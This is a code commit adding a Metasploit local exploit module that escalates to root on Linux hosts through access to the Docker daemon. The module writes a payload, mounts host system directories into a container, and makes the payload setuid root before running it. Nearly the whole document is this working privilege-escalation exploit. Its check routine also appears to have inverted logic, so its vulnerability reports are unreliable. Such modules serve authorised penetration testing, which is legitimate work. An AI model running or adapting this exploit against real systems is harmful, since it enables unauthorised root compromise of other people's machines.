Land rapid7#7027, Docker privesc exploit

Author: wvu

modules/exploits/linux/local/docker_daemon_privilege_escalation.rb

@@ -0,0 +1,74 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+
+  Rank = ExcellentRanking
+
+  include Msf::Post::File
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info, {
+      'Name'          => 'Docker Daemon Privilege Escalation',
+      'Description'   => %q{
+        This module obtains root privileges from any host account with access to the
+        Docker daemon. Usually this includes accounts in the `docker` group.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => ['forzoni'],
+      'DisclosureDate' => 'Jun 28 2016',
+      'Platform'      => 'linux',
+      'Arch'          => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
+      'Targets'       => [ ['Automatic', {}] ],
+      'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },
+      'SessionTypes'  => ['shell', 'meterpreter']
+      }
+    ))
+    register_advanced_options([
+      OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
+    ], self.class)
+  end
+
+  def check
+    if cmd_exec('docker ps && echo true') == 'true'
+      print_error("Failed to access Docker daemon.")
+      Exploit::CheckCode::Safe
+    else
+      Exploit::CheckCode::Vulnerable
+    end
+  end
+
+  def exploit
+    pl = generate_payload_exe
+    exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"
+    print_status("Writing payload executable to '#{exe_path}'")
+
+    write_file(exe_path, pl)
+    register_file_for_cleanup(exe_path)
+
+    print_status("Executing script to create and run docker container")
+    vprint_status cmd_exec("chmod +x #{exe_path}")
+    vprint_status shell_script(exe_path)
+    vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")
+
+    print_status "Waiting #{datastore['WfsDelay']}s for payload"
+  end
+
+  def shell_script(exploit_path)
+    deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
+    dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
+
+    %Q{
+      IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
+      EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
+      docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
+      docker rmi -f $IMG
+      #{exploit_path}
+    }.strip.split("\n").map(&:strip).join(';')
+  end
+
+end